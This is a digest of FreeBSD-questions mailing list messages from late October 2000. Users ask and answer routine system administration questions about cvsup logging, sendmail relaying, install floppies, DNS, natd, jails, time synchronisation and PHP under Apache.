year-month-day-hour-minute to the name. The top part of my upworld
shell script looks like

#! /bin/sh
cd /root/cvsup
cvsup -g -L 2 4.x-stable-supfile 2>&1 | tee cvsup.log

# Now convert the log to html`
cvsuplog < cvsup.log > cvsup-`date "+%Y%m%d-%H%M"`.html

You can't do a cvsup in a minute but you can do a number of them in an
hour. Cvsuplog is something Nik Clayton put together and I happened
across it before I found a similar utility on the cvsup-bin tarball. I
happen to like what he had done and didn't see any point in trying
Polestra's utility. I don't fix things that aren't broken.

When you look at the HTML file, you can click on a change and the
browser will take you to the cvs repository at freebsd.org where you
can see the changes that were made. I don't think you need that kind
of detail on the ports but you can see what is different or what was
fixed. I think there will be a large sequence of checkouts for the new
ports. The presence of a Makefile, pkg-comment pkg-descr, and
pkg-plist in the log may be the only easy way to identify a new port.
There has to be some unique in the log that would flag a new port and
you could probably grep on that and email that result. I have lots of
logs of my stable cvsup's but not a one of my port cvsup's.

The pkg-utilities will tell you the status of your system relative to
the index but they don't identify new ports.

I figure there is probably something simple that you can do but it
isn't obvious without capturing some logs to find out. It also depends
on what you really want to see. I decided to log an update to my ports
list. I will have to see what it does.

Kent

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Looks like I'm functional.... thanks everyone!

-----Original Message-----
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On Mon, 30 Oct 2000 13:09:56 -0500  "Jim Persinger" wrote:
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 | All -
 | 
 | The two files that I found was:
 | 
 | hosts and local-host-names....and they appear right..
 +------------------

You'll probably have to create /etc/mail/relay-domains then.  Just
use vi or ee to create a simple text file that contains the names
of all the systems (one name per line) that you want to be able to
relay through your mail server.

Good Luck
chris

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Hello--

Boot.flp is too big to fit into a 1.44 Mb floppy! despite what the FAQ
says. I get only around 1457664 bytes of free space after formatting a
1.44 MB floppy diskette on WindowsNT! What do I do to get around this
problem? Create 2 diskettes? if so how do I do it, the fdimage program
doesn't give any explicit options for usage.

And for doing an FTP install of (freeBSD 4.1.1-RELEASE on i386) do I
really need boot.flp?? or is kern.flp and mfsroot.flp enough?


Any assistance will be appreciated.

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On 30 Oct 00, at 17:21, Kamath wrote:

> Hello--
> 
> Boot.flp is too big to fit into a 1.44 Mb floppy! despite what the FAQ
> says. I get only around 1457664 bytes of free space after formatting a
> 1.44 MB floppy diskette on WindowsNT! What do I do to get around this
> problem? Create 2 diskettes? if so how do I do it, the fdimage program
> doesn't give any explicit options for usage.
> 
> And for doing an FTP install of (freeBSD 4.1.1-RELEASE on i386) do I
> really need boot.flp?? or is kern.flp and mfsroot.flp enough?

Kamath, boot.flp is 2.88 MB.  In order to use 1.44 MB diskettes for 
install, this image is broken into two new images: kern.flp and 
mfsroot.flp.  Use two floppy disks to get these images on, and then 
boot from the one with kern.flp.  This will solve your problem, and 
install will prompt you when it's time to insert mfsroot.flp.  :-)

Cheers,
-Charlie




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On Mon, 30 Oct 2000 13:40:27 -0800 (PST)  Chris Angell wrote:
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 | 
 | Oct 30 13:33:01 www 
 | named[79]: ns_resp: query(30.1.206.167.in-addr.arpa) NS points to CNAME 
 | (NS1.CV.NET:)
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The zone file for NS1.CV.NET are misconfigured.  NS records should
point to A records.  But in this case it looks like the config is
NS record to CNAME record to A record.  BIND and the RFC do not
like this.  This is a pretty common mistake.

If it bugs you it can be turned off.  Just take a look at the manual page
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I got the same messages.
Try to add your local IP to listen-on{ip;ip;};
in the options part of /etc/namedb/named.conf=20
read man named.conf
I hope this is correct and helps
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> Oct 29 22:02:28 awww named[1371]: refused query on non-query socket =
from
> [24.12.173.82].4874
> Oct 29 22:22:04 awww named[1371]: refused query on non-query socket =
from
> [24.108.119.197].3464
> Oct 29 22:28:46 awww named[1371]: refused query on non-query socket =
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from
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>=20
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Hello!

I was wondering what other sys admins do about IP Address management.  By that I mean, the way (or, which method is commonly used to apply addresses for different devices) admins apply IP addresses to machines, printers, routers, etc.  This there a certian convention used?

I'm not sure if I'm totally making myself clear on this subject.  But let's say you have a class C address block (192.168.0.0/24 for example).  Where would you start numbering things off?  At the router, server, etc?  (router = 192.168.0.1, firewall = 192.168.0.2, server = 192.168.0.3, printer = 192.168.0.3 for example).  I'm sure people don't apply addresses to machines at random, because that would be almost a nightmare to figure out what's what (unless you have DNS, or something to map it all out).

Anyways, I just wanted to know if there are any undocumented standards or conventions to the application of IP addresses.

Thanks!

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* Micheal O Dowd <mehally@eircom.net> [001030 14:37] wrote:
> can i run freeBSD on my IBM Thinkpad 750C
> 486 33
> 12 mb
> 540 HD

It should, it meets the minimum requirements, give it a try and let us know. :)

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Alfred Perlstein wrote:

> * Micheal O Dowd <mehally@eircom.net> [001030 14:37] wrote:
> > can i run freeBSD on my IBM Thinkpad 750C
> > 486 33
> > 12 mb
> > 540 HD
>
> It should, it meets the minimum requirements, give it a try and let us know. :)
>

i've installed on a 386/25SX laptop with 4 mb ram and 105mb hd before
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On Mon, Oct 30, 2000 at 12:22:53PM -0800, Ras-Sol wrote:
> While I absolutely agree that you should *not* be using only one interface
> here-
> 
> It somewhat bothers me that natd gets confused if there's only one IF-
> 
> Natd deals on the IP level right?
> 
> So adding another alias to the single physical should fix natd's problems?

Nope. One might think that if you specify an /address/ rather than an
interface to natd(8) (the -alias_address option as opposed to
-interface, also -a or -n), you would get around it. But that is only
half the problem. Note the divert(4) rule in the firewall. In a
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interface where it gets diverted to natd(8) _again,_ yada-yada. Every
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On Wed, 25 Oct 2000, Rob wrote:

> What is amnesiac mode?  I've seen that on my box.  Not in man or
> apropos.  Rob.

getty(8) will display "Amnesiac" if your hostname is null.

There isn't really any such thing as "amnesiac mode" - you just havn't
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Well, 1 is usually the router-
18 is usually the DNS-

And I personally leave the first 10 free- IE for random machines, I start at
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----- Original Message -----
From: <gummibear@nettaxi.com>
To: <questions@freebsd.org>
Sent: Monday, October 30, 2000 2:48 PM
Subject: IP Address Management


>
> Hello!
>
> I was wondering what other sys admins do about IP Address management.  By
that I mean, the way (or, which method is commonly used to apply addresses
for different devices) admins apply IP addresses to machines, printers,
routers, etc.  This there a certian convention used?
>
> I'm not sure if I'm totally making myself clear on this subject.  But
let's say you have a class C address block (192.168.0.0/24 for example).
Where would you start numbering things off?  At the router, server, etc?
(router = 192.168.0.1, firewall = 192.168.0.2, server = 192.168.0.3, printer
= 192.168.0.3 for example).  I'm sure people don't apply addresses to
machines at random, because that would be almost a nightmare to figure out
what's what (unless you have DNS, or something to map it all out).
>
> Anyways, I just wanted to know if there are any undocumented standards or
conventions to the application of IP addresses.
>
> Thanks!
>
> Joey
>
> ------------------------------------------------------------
> Nettaxi MP3 Player, Burner, Ripper - NEW Version 2.0!!! DOWNLOAD IT FREE!
(5MBs)
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>
>
>
>
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	Hi all! I've (perhaps foolishly) volunteered to teach a class or
two to our Mac OS Tech Support team about the Unix part of the OS X. Does
anyone have any good links/documentation to help with this geared towards
the Non-Mac user? :) I need answers to such things like, IS the
command prompt still going to be available? If not will we be able
to add it later on? How stripped down are the commands? Can I go in
expecting a full system just as if I was in front of a real FreeBSD
machine? Etc... :) Thanks in advance!

					Rick

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Hi,

I bought this book a few months ago which I found very useful.

IP Addressing and Subnetting including IPv6
Syngress ISBN 1-928994-01-6
www.syngress.com

This book covers IP addressing and subnetting and also has stuff
on deployment and management. It was worth the read for me.

On Mon, Oct 30, 2000 at 02:48:35PM -0800, gummibear@nettaxi.com wrote:
> 
> Hello!
> 
> I was wondering what other sys admins do about IP Address management.  By that I mean, the way (or, which method is commonly used to apply addresses for different devices) admins apply IP addresses to machines, printers, routers, etc.  This there a certian convention used?
> 
> I'm not sure if I'm totally making myself clear on this subject.  But let's say you have a class C address block (192.168.0.0/24 for example).  Where would you start numbering things off?  At the router, server, etc?  (router = 192.168.0.1, firewall = 192.168.0.2, server = 192.168.0.3, printer = 192.168.0.3 for example).  I'm sure people don't apply addresses to machines at random, because that would be almost a nightmare to figure out what's what (unless you have DNS, or something to map it all out).
> 
> Anyways, I just wanted to know if there are any undocumented standards or conventions to the application of IP addresses.
> 
> Thanks!
> 
> Joey
> 
> ------------------------------------------------------------
> Nettaxi MP3 Player, Burner, Ripper - NEW Version 2.0!!! DOWNLOAD IT FREE! (5MBs)
> MP3 DOWNLOAD:  http://www.nettaxi.com/mp3/version_2/ntxy_MP3_setup.exe
> 
> 
> 
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Best Regards
Willem Brown
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>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 10/30/00, 9:49:47 PM, Alexander Anderson <cactoss@yahoo.com> wrote=20
regarding How to find out new ports after cvsup:


> I used an example ports-supfile from /usr/share/examples/cvsup/ to=20
upgrade
> my ports collection. How can I find out what exactly is new other than=

> browsing readmes?

> Eventually, I would like to set up a cron job to fetch the new ports
> periodically. I would also like to send myself an email listing all=20
the
> updates in the ports collection. Is it doable?



cd /usr/ports; make index=20
pkg_version -v | more

cf pkg_version(1) (in particular, the "c" option and the bug section);=20
 cf cron(8).

Best regards,
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On Mon, 30 Oct 2000 14:48:35 -0800  "gummibear@nettaxi.com" wrote:
 +------------------
 | 
 | Hello!
 | 
 | I was wondering what other sys admins do about IP Address management.  By th
at I mean, the way (or, which method is commonly used to apply addresses for di
fferent devices) admins apply IP addresses to machines, printers, routers, etc.
  This there a certian convention used?
 | 
 | Anyways, I just wanted to know if there are any undocumented standards or co
nventions to the application of IP addresses.
 | 
 +------------------

It's realy a non-issue when you get right down to it.   These days
the first machine I configure gets the first address the second
gets the second and so on.  When devices become de-commissioned I
simply re-assign the address to the next system that needs one.

Keep track of what addresses have been allocated (I use the
in-addr.arpa zone file for this)

Reserve a largeish block for DHCP hosts and use DHCP in all the
places where it makes sense.

What ever you do,  don't get too rigid about your conventions.
Best to enforce only what is technically necessary rather than
trying to keep a series of arbitrary rules.  Most systems don't
care anyway.

chris

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Hi

I have trouble getting apm to work correctly. I have set reasonable
settings in the bios, that is, I turned off all the timer things except
wakeup on mouse. Still, whenever I do an apm -z or apm -Z, the box wakes
up just after a second or two. I don't see any processes that would switch
to running state ever so often.

How can I find out what is waking the box up so quickly?


And another issue (maybe a feature): when I do an apm -d 0, the display is
turned off and stays off until I switch from X to console or vice versa.
Is this the way it's supposed to be? What would I do if I wanted to just
turn off the display without suspending or going to standby and turning
it back on say on mouse movement?

And my last question: Does FreeBSD current support acpi?


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Rick:

The good news is that the command prompt is alive and well in MacOS X beta.
I think it will be more hidden in the final release, however I believe that
it will still be there. Even as I write some people are trying to replace
what is missing. Curiously enough TCL is there.. but the wish and tclsh are
missing. FTP and Telnet are available from the shell. BSD Unix is there,
intact, if only stripped down. Essentialy what is there is the Darwin core
of MacOS X server. OS X also includes an Apache web server!

Check out this URL http://zieg.mco.enteract.com/ and
http://zieg.mco.enteract.com/. There will be lots more stuff out there.
There are more than a few of us Mac people who also love unix..but for
different reasons. I'm happy to have a new OS that has such good
underpinnings (BSD). Your Mac Tech people will like the fact that even OS X
beta doesn't crash... the OS 9 (which runs within OS X).

David Fedoruk

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>
>
>
>  Hi all! I've (perhaps foolishly) volunteered to teach a class or
>  two to our Mac OS Tech Support team about the Unix part of the OS X. Does
>  anyone have any good links/documentation to help with this geared towards
>  the Non-Mac user? :) I need answers to such things like, IS the
>  command prompt still going to be available? If not will we be able
>  to add it later on? How stripped down are the commands? Can I go in
>  expecting a full system just as if I was in front of a real FreeBSD
>  machine? Etc... :) Thanks in advance!
>
>  Rick
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Here's another question for you guys:

At work we have a T1 plugged into a FreeBSD gateway which in turn goes into a 24port Intel Switch which then goes into a patch panel. The T1 has about 16 IPs given to us, but only one is being used (by the Gateway).. all the boxes are using internal IPs (192.168.1.xxx).. my question is this: Is it possible to give one of these internal boxes an external IP? Plugging a switch/hub before the T1 goes into the gateway is not an option...

the configuration is like this:

T1 --> FreeBSD GW ---> 24 Port Switch ----> 22 boxes

We want some (not all) of those boxes to have external ips but still go throught the gateway.. 

Is this possible? And if so, how?

TIA,

        RSN

More Configuration Info:

/etc/rc.conf

# -- sysinstall generated deltas -- #
gateway_enable="YES"
network_interfaces="rl0 rl1 lo0"
ifconfig_rl0="inet XXX.XX.XXX.XXX netmask 255.255.255.240"
ifconfig_rl1="inet 192.168.1.157  netmask 255.255.255.0"
defaultrouter="XXX.XX.XXX.XXX"
hostname="XXXX.XXXX"

# -- my generated deltas -- #
firewall_enable="YES"
firewall_type="/usr/local/etc/rc.firewall"
firewall_quiet="YES"
natd_enable="YES"
natd_interface="rl0"
natd_flags="-f /usr/local/etc/natd.cf"
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Hi Justin,

> The card's seem to perform perfectly fine once ifconfig has been used to
> force the cards to 10mbit - this just has to be done on every boot.

Add:
ifconfig_rl0="inet your_IP netmask your_subnet media 10baseT/UTP"

to your /etc/rc.conf and this will be done automagically for you. If you need
full duplex add ´mediaopt full-duplex´.

For the archives: I had also problems with autonegotiation on a no-name Realtek
8139 based NIC.

Ciao
Siegbert


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The IP that is connecting is not my machine's IP.  It's a cable modem.


Chris Byrnes
JEAH Communications
1-866-AWW-JEAH
http://www.JEAH.net

On Mon, 30 Oct 2000, Nicolas wrote:

> I got the same messages.
> Try to add your local IP to listen-on{ip;ip;};
> in the options part of /etc/namedb/named.conf 
> read man named.conf
> I hope this is correct and helps
> ----- Original Message ----- 
> From: JEAH Communications <root@jeah.net>
> To: <questions@freebsd.org>
> Sent: Monday, October 30, 2000 5:56 AM
> Subject: wierd named errors..
> 
> 
> > Oct 29 22:02:28 awww named[1371]: refused query on non-query socket from
> > [24.12.173.82].4874
> > Oct 29 22:22:04 awww named[1371]: refused query on non-query socket from
> > [24.108.119.197].3464
> > Oct 29 22:28:46 awww named[1371]: refused query on non-query socket from
> > [24.22.135.14].3469
> > Oct 29 22:41:49 awww named[1371]: refused query on non-query socket from
> > [24.22.135.14].2435
> > Oct 29 22:46:25 awww named[1371]: refused query on non-query socket from
> > [24.161.35.235].3171
> > 
> > 
> > Any idea what that is?
> > 
> > 
> > 
> > 
> > 
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> I didn't mean to be so short with you there.  You asked a valid question and
> I replied rather rudely, especially considering that you started off by 
> qualifying yourself as a newbie.  I apologise.
 
No problem man, I understand where you are coming from.  I mean I should
have read the comments closer before posting to the public
forum.  Anyways, I appreciate the help and the prompt responses I
received.  I did get my kernel compiled, and everything is working as it
beautifully.

On a side note, my experience with FreeBSD has been absolutely wonderful
so far.  I had some past experience with Linux, and I have to say I think
FreeBSD is a far superior OS.  The install was much more intuitive, and
that ports collection is one of the coolest things ever.  Not to mention
there isn't all of that confusion with 80,000 distributions.  The list
goes on and on.  I've also found the documents well written, and the
people very willing to help and support the OS.

Regards,

Brett



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On Mon, Oct 30, 2000 at 05:21:16PM -0500, Kamath wrote:
> Hello--
> 
> Boot.flp is too big to fit into a 1.44 Mb floppy! despite what the FAQ
> says. I get only around 1457664 bytes of free space after formatting a
> 1.44 MB floppy diskette on WindowsNT! What do I do to get around this
> problem? Create 2 diskettes? if so how do I do it, the fdimage program
> doesn't give any explicit options for usage.
> 
> And for doing an FTP install of (freeBSD 4.1.1-RELEASE on i386) do I
> really need boot.flp?? or is kern.flp and mfsroot.flp enough?
> 
> 
> Any assistance will be appreciated.
> 
> Thanks,
> Praveen
> 

Read the following for your answer: 
ftp://ftp.FreeBSD.org/pub/FreeBSD/releases/i386/4.1.1-RELEASE/floppies/README.TXT

-Joe


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On Sun, Oct 29, 2000 at 10:24:38AM -0500, Jaime wrote:
> 
> 	Does /dev/rsa1.0 exist?  The file in /dev, I mean.

Yes, all the device nodes are present.

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Hi!

I'm using FreeBSD 4.1 Stable with Sources from the 2000-09-19th and now i
wanted to use a Fujitsu MO Drive
for Backup-Jobs on this PC, but Freebsd only give me the following message :

"dscheck(rda0): b_count 512 is not on a sector boundary (ssize 2048)"

it i want to start "/stand/sysinstall" for making a filesystem on the
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doesn't FreeBSD support Drives with more than 512 Byte/Sector or must i
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Julius,

We use an ISA Stallion Easy IO card running in FreeBSD 2.2.7 which then
upgraded to 3.5 and both work great - not sure what the uart is though.

cheers
craig

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Howdy!

   I recently purchased a Stallion EasyIO (thinking it was supported
by both OpenBSD and FreeBSD).  It was suprising, when I realised that
the newer EasyIO cards have the SC26198 uart (and FreeBSD/OpenBSD
seem to only support CD1400).

   Noting the recent article posted on dailydaemon.org linking
to <http://www.stallion.com/html/support/bsdcon-paper.htm>, it seems that
the new ePIPE device also uses OpenBSD and the SC26198 uart (making
the leap from "Philips UART" to SC26198).

Are there device drivers available for this card? (for either of
these operating systems ... ).

   - Julius

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> > mt rewind does the same thing as mt status; a kernel message (on
> > the console and in dmesg) stating: ``(sa0:ahc0:0:5:0): unable to
> > rewind after test read'' as well as a message on the terminal where
> > the command was run saying ``mt: /dev/nrsa0: Device not configured''.

I had a problem like this.  The logfile gave me a clue:

(sa0:dpt0:0:0:0): unable to backspace over one of double filemarks at end of tape
(sa0:dpt0:0:0:0): it is possible that this device needs a SA_QUIRK_1FM quirk set for it
(sa0:dpt0:0:0:0): tape is now frozen- use an OFFLINE, REWIND or MTEOM command to clear this state.
(sa0:dpt0:0:0:0): unable to rewind after test read

Looking through LINT, there is no mention of SA_QUIRK_1FM but it does have
a SA_1FM_AT_EOD option which I compiled into my kernel.  It works now :-)

I have a:

dpt0: <DPT SCSI Host Bus Adapter> at 0x2c00-0x2cff, irq 15 (level)
dpt0: on eisa0 slot 2
dpt0: DPT PM2022A/9X FW Rev. 05B0, 1 channel, 64 CCBs

controlling a:

sa0 at dpt0 bus 0 target 0 lun 0
sa0: <EXABYTE EXB-8200 2618> Removable Sequential Access SCSI-CCS device

Good luck...

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     I haven't been able to find a hardware compatibility list that
shows support for anything other than the Lucent WaveLan (does this
include Orinoco?) or the Cisco Aironet wireless NICs.  Are these the
only wireless NICs that FreeBSD supports?

     Also, the support for the two above mentioned NICs says that it's
for the 802.11 standard.  Do they also support the 802.11b (11Mbps)
standard?

     Any info/pointers would be appreciated.
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I recently reinstalled apache with a differant version than what
I had -
I installed apache+php-1.3.12+4.0b3. I then installed
php-4.0.3-pl1. Now
when I make a test file with one simple line to echo on the
screen all I 
get is the title in the title-bar and no echo text. Here is the
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<html>
<head>
<title>Test Page</title>
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<?php
echo "test page"
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The installs went fine with no errors, I followed the configure
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From owner-freebsd-questions  Mon Oct 30 20: 3: 8 2000
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On Mon, Oct 30, 2000 at 02:03:42PM -0800, Kent Stewart wrote:
> Alexander Anderson wrote:
> > Eventually, I would like to set up a cron job to fetch the new ports
> > periodically. I would also like to send myself an email listing all the
> > updates in the ports collection. Is it doable?
>=20
> It depends on what you want to see. You could redirect the output from
> cvsup to a log file. I don't do this on my ports but do it to all of
> my updates to stable. There are some utilities in the cvsup package
> that will convert the log to HTML and you can browse through the
> changes with something that processes HTML. I just happen to use KDE.
> When I convert the cvsup.log to HTML, I add the
> year-month-day-hour-minute to the name. The top part of my upworld
> shell script looks like

I actually came across a script that was posted to the mailing list
some time ago which produces output as such:

--- start output

Ports available: 4004 (last port index update 4 days ago)
Ports installed:   64

The following installed ports should be updated:

Port name            /usr/ports   Installed   Port location
--------------------------------------------------------------------------
png                  1.0.8_1      1.0.8      /usr/ports/graphics/png
rpm                  3.0.6_3      2.5.6      /usr/ports/misc/rpm

The following ports are installed but are no longer available in /usr/ports
(or now have a different name) and should be considered for deletion:

TekNap-1.2

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It's a nice little perl script by Thomas Sch=FCrger <thomas@schuerger.com>,
you could mail him for it, I've also put it online for anyone who's
interested in getting it:

http://plaza.v-wave.com/cwasser/ports-updates.pl

I simply cron it every night every my ports cvsup and it reports to
me which ports require updating.

htth,
Chris Wasser.


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On Mon, 30 Oct 2000, The Hermit Hacker wrote:

> So far, as far as I can tell, binding the jail envs inetd to an IP appears
> to have fixed it, but from my read of teh docs, taht shouldn't have been
> required ... am I reading the docs wrong? *raised eyebrow*

Nope, I followed the man page 3 times, and got 3 working jails:

root@proteus:~# ps auxww |grep inet
root       255  0.0  0.1  1028  556  ??  IsJ  Thu10PM   0:00.00 inetd -wW
root       363  0.0  0.1  1028  648  ??  IsJ  Thu10PM   0:00.02 inetd -wW
root       500  0.0  0.1  1028  568  ??  IsJ  Thu10PM   0:00.01 inetd -wW

That's on a 4.1-STABLE box from around Sept 19. The only sticky problems I ran
across setting up jails was remembering to make a working /etc/resolv.conf and
adding a route on lo0 so that my apache processes in the jails can talk to the
mysql server running on the host.

Hmm... of course, I'm not running inetd on the host machine. Do the jails have
working forward and reverse DNS lookups?

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Is the bios memory check running?

I have a x486 machine which needs simms in pairs
(so the manual says).

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Sorry guys for the newbie style question.

The hardware clock battery is dead on machine I upgraded from
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I want to use "ntpdate" and "ntpd" in combination but the
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On Mon, 30 Oct 2000, Jon Simola wrote:

> On Mon, 30 Oct 2000, The Hermit Hacker wrote:
> 
> > So far, as far as I can tell, binding the jail envs inetd to an IP appears
> > to have fixed it, but from my read of teh docs, taht shouldn't have been
> > required ... am I reading the docs wrong? *raised eyebrow*
> 
> Nope, I followed the man page 3 times, and got 3 working jails:
> 
> root@proteus:~# ps auxww |grep inet
> root       255  0.0  0.1  1028  556  ??  IsJ  Thu10PM   0:00.00 inetd -wW
> root       363  0.0  0.1  1028  648  ??  IsJ  Thu10PM   0:00.02 inetd -wW
> root       500  0.0  0.1  1028  568  ??  IsJ  Thu10PM   0:00.01 inetd -wW
> 
> That's on a 4.1-STABLE box from around Sept 19. The only sticky problems I ran
> across setting up jails was remembering to make a working /etc/resolv.conf and
> adding a route on lo0 so that my apache processes in the jails can talk to the
> mysql server running on the host.
> 
> Hmm... of course, I'm not running inetd on the host machine. Do the jails have
> working forward and reverse DNS lookups?

actually, I added -a <ip> to my jail envs and they are all working great
now ... but thanks ;)




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> > For more information on what soft updates really does.
> 
> That file doesn't exist in -current anymore. But I found some other
> file, which pointed me to:
> 
> http://www.mckusick.com/softdep/
> 
> which says:
> 
> > By ensuring that the only inconsistencies are unclaimed blocks or
> > inodes, soft updates can eliminate the need to run a filesystem check
> > program after every system crash. Instead, the system is brought up
> > immediately. When it is convenient, a snapshot is taken and a background
> > task can be run on on that snapshot to reclaim any lost blocks and
> > inodes. The use of a snapshot allows normal filesystem activity to
> > continue concurrently.

The key word here is "snapshot".  If you read the next paragraph, it says:

"The snapshot code is in alpha-test in the FreeBSD-current system and
should be available in most BSD systems towards the end of
2000."

> 
> 	-Arun
> 

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On Mon, 30 Oct 2000 18:33:48 -0800  Chip wrote:
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 | Looks like
 | something works okay, the title shows up, but something else
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 | Thanks for any help anyone can provide.
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Examine the html that is delivered.  If it looks just like your example
then apache is not passing the code to php for processing.  Check to be
sure that apache has the right handler set to deal with php files in the
way you expect it to

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hi,
   i have attached file which has the declaration of
the objects and the file in which the invocation of
the main function.

i am sorry that i using a differ3ent mail address now.
the other mail id does'nt support attachments.

i would appreciate any help in this regard

------------- Original Message --------------
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To:harsha <crazyharshu@rediffmail.com>
From:Alfred Perlstein <bright@wintelcom.net>
Date:Mon, 30 Oct 2000 09:29:05 -0800
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Subject: Re: mem prob

* harsha  <crazyharshu@rediffmail.com> [001030 09:19]
wrote:
> hi,
>    i need some help on this.
> 
>    i am trying to allocate static array of objects
size 70MB. the array is 
> declared as a local variable. the executable dumped
a core.

Please provide some sample source.

-Alfred

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On Mon, 30 Oct 2000, Greg Skouby wrote:

> device          da0             # Direct Access (disks)
> controller 	ahc0
> controller      scbus0 at ahc0
> controller      ahc1
> controller      scbus1 at ahc1
> device          da4 at scbus1 target 0
> 
> I have four disks (da0, da1, da2, da3) that are connected via an
> external SCSI connector (which is ahc0). I have an internal SCSI drive
> (da4) that I have on ahc1. They work fine with the generic kernel but
> I want to wire down the da4 drive so that it always gets the device
> name da4. Will this kernel config (along with all the other parts of
> the GENERIC kernel) get the job done or am I missing something? Thanks
> for your time.

The above will not work on FreeBSD-4.x kernels.  LINT has info how to wire
down a unit.  Be aware that "if you wire a disk as "da3" then the first
non-wired disk will be assigned da4."

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Where can I find documentation on how to change my DES 
password length from 8 to 16 characters?  I am running 4.1R.

I am not on the list, so please send any replies directly to me.

Thanks,

Kris


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On Tue, 31 Oct 2000, James wrote:

> Setting up the bsd installation program, I put 'any', as the
> distribution, as it can't seem to find "4.1.1-RELEASE"...
> 
> It connects to my ftp server fine, downloads /bin/bin.inf, and has
> been sitting there with the message; DEBUG: parsing attributes file
> for distribution bin for the last 20 odd minutes

Setup your FTP server such that the CDROM root is under a directory called
"4.1.1-RELEASE".  The install program will ftp to the w2k machine, login,
then try and cd to the distribution directory.

> 
> james
> adelaide, south Australia.
> 

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On Mon, 30 Oct 2000, Conrad T. Pino wrote:

> I want to use "ntpdate" and "ntpd" in combination but the
> kernel is clamping time changes to 1 second which means
> "ntpdate" can't get the clock close enough for "ntpd" to
> take over which stops due to excessive clock error.
> 
> Any suggestions?

Your kernel is running at securelevel 2 or 3 which restricts the time
adjustments (man securelevel).  Setup your /etc/rc.conf file to do it
before the securelevel changes.

> 
> Conrad Pino
> 

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I checked the GNATS database.. the bug has been documented, see
"kern/18790".

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On Tue, 31 Oct 2000, Siegbert Baude wrote:

> Hi Justin,
>=20
> > The card's seem to perform perfectly fine once ifconfig has been used t=
o
> > force the cards to 10mbit - this just has to be done on every boot.
>=20
> Add:
> ifconfig_rl0=3D"inet your_IP netmask your_subnet media 10baseT/UTP"
>=20
> to your /etc/rc.conf and this will be done automagically for you. If you =
need
> full duplex add =B4mediaopt full-duplex=B4.
>=20
> For the archives: I had also problems with autonegotiation on a no-name R=
ealtek
> 8139 based NIC.
>=20
> Ciao
> Siegbert
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Thanks for your reply - muchly appreciated :-)

I bought the cd of both 4.1, and then 4.1.1 (thats the one I'm having =
problems with) - from www.everythinglinux.com.au - after the problems =
I've been having with 4.1.1 - I thought I would rule out hardware =
problems, by attempting to install 4.1 - which is currently installing =
no problems!

I've already phoned the people at www.everythinglinux.com.au, and =
they're sending me a replacement cd, with a return envelope, so that I =
can send them the f**ked cd back :-))

*very happy that it proves that it wasn't a hardware problem*

regards

james

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On Tue, 31 Oct 2000, James wrote:

> Setting up the bsd installation program, I put 'any', as the
> distribution, as it can't seem to find "4.1.1-RELEASE"...
>=20
> It connects to my ftp server fine, downloads /bin/bin.inf, and has
> been sitting there with the message; DEBUG: parsing attributes file
> for distribution bin for the last 20 odd minutes

Setup your FTP server such that the CDROM root is under a directory =
called
"4.1.1-RELEASE".  The install program will ftp to the w2k machine, =
login,
then try and cd to the distribution directory.

>=20
> james
> adelaide, south Australia.
>=20

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Is there a program for FreeBSD similar to Windows defrag?


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On Mon, 30 Oct 2000 23:50:27 -0600 (CST)  Chris Byrnes wrote:
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UFS doesn't work that way.

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Hi!

It seems, a bug exist in resolver implementation since 4.1.
I have a small private network with internal DNS. (no relations with
internet).
Name server is 192.168.10.130. Domain name is my.domain.com

At host bsd.my.domain.com : 

No local named daemon. 
No ipv6 in kernel. 
No lkm's. (All i need compiled in kernel. Other moduler removed.)

/etc/resolv.conf
        #
	nameserver 192.168.10.130
	#
/etc/host.conf
	#
	hosts
	bind
	#
/etc/hosts
        #
	127.0.0.1	locahost
	192.168.10.205	bsd.my.domain.com bsd
	192.168.10.130  ns.my.domain.com ns
	#

% uname -a
FreeBSD bsd.my.domain.com 4.1-RELEASE FreeBSD 4.1-RELEASE #1: Thu Oct 26
00:54:45 NOVST 2000
root@bsd.my.domain.com:/usr/src/sys/compile/MY_HOST  i386

% nslookup somehost
Server:  ns.my.domain.com
Address:  192.168.10.130

Name:    somehost.my.domain.com
Address:  192.168.10.110

%ping somehost
ping: cannot resolve somehost: Unknown host

%

Using ethereal i intecept DNS traffic generated by above 
mentioned commands.
Host send identical requests for the first and second commands.
NS server send identical reply for the first and second DNS requests!
(only transaction IDs different)

Whats the matter?

The same problem exists in 4.1.1-RELEASE
The same problem was detected while using PERL's gethostbyname.

By.


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UFS doesnt get fraged like fatXX or NTFS. It does get some fraged , but I
have never seen above about 5%

On Mon, 30 Oct 2000, Chris Fedde wrote:

> On Mon, 30 Oct 2000 23:50:27 -0600 (CST)  Chris Byrnes wrote:
>  +------------------
>  | Is there a program for FreeBSD similar to Windows defrag?
>  +------------------
> 
> UFS doesn't work that way.
> 
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On Tue, 31 Oct 2000 12:08:38 +0600  "Viktor A. Fomichev" wrote:
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 | Hi!
 | 
 | /etc/resolv.conf
 |      #
 | 	nameserver 192.168.10.130
 | 	#
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Does the problem persist if there is a 'domain' directive in the
resolv.conf file?

chris

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Hi there....

I'm having some trouble with a certain environment variable. In Xwindows,
when I use ANY terminal emulator (xterm, weterm, wterm etc), there is an
environment variable LC_CTYPE set to 'en_US'. This plays complete havoc. I
cannot update my locate database, use locate or mount samba shares with
smbfs until I manually set that variable to ""

Can anyone tell me what set's that variable so I can kill it very dead? It
has to do with the locale.......

Thanks
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> * harsha  <crazyharshu@rediffmail.com> [001030 09:19]
> wrote:
> > hi,
> >    i need some help on this.
> > 
> >    i am trying to allocate static array of objects
> size 70MB. the array is 
> > declared as a local variable. the executable dumped
> a core.
> 
> Please provide some sample source.
> 
* harsha v <bsd_linux@yahoo.com> [001030 20:57] wrote:
> hi,
>    i have attached file which has the declaration of
> the objects and the file in which the invocation of
> the main function.
> 
> i am sorry that i using a differ3ent mail address now.
> the other mail id does'nt support attachments.
> 
> i would appreciate any help in this regard

I'm sorry, if you can't provide a simple to compile/run example I
can't help you.  This code has no makefile and will not compile.

If you want to try again then point me to a url rather than sending
attachments to the list.

thanks,
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Hi all,

I recently upgraded from 4.0-RELEASE to 4.1.1-STABLE and discovered
that my natd no longer needs a -pptpalias flag on it.  Before the
change I used this pptpalias flag to enable my machines behind my bsd
box to use a VPN to work (one at a time):

  natd -l -u -m -s -pptpalias 10.0.0.100 -interface de0

I read a couple of things about changes in libalias that make this
pptpalias flag unneeded -- apparently the library can figure it out on
its own now(?).  So after my upgrade I simply omitted the -pptpalias
flag and was able to connect and authenticate to a VPN server without
problems using:

  natd -l -u -m -s -interface de0

But, unfortunately, my connection stopped working normally after the
initial connection.  I am able to ping the server on the other end of
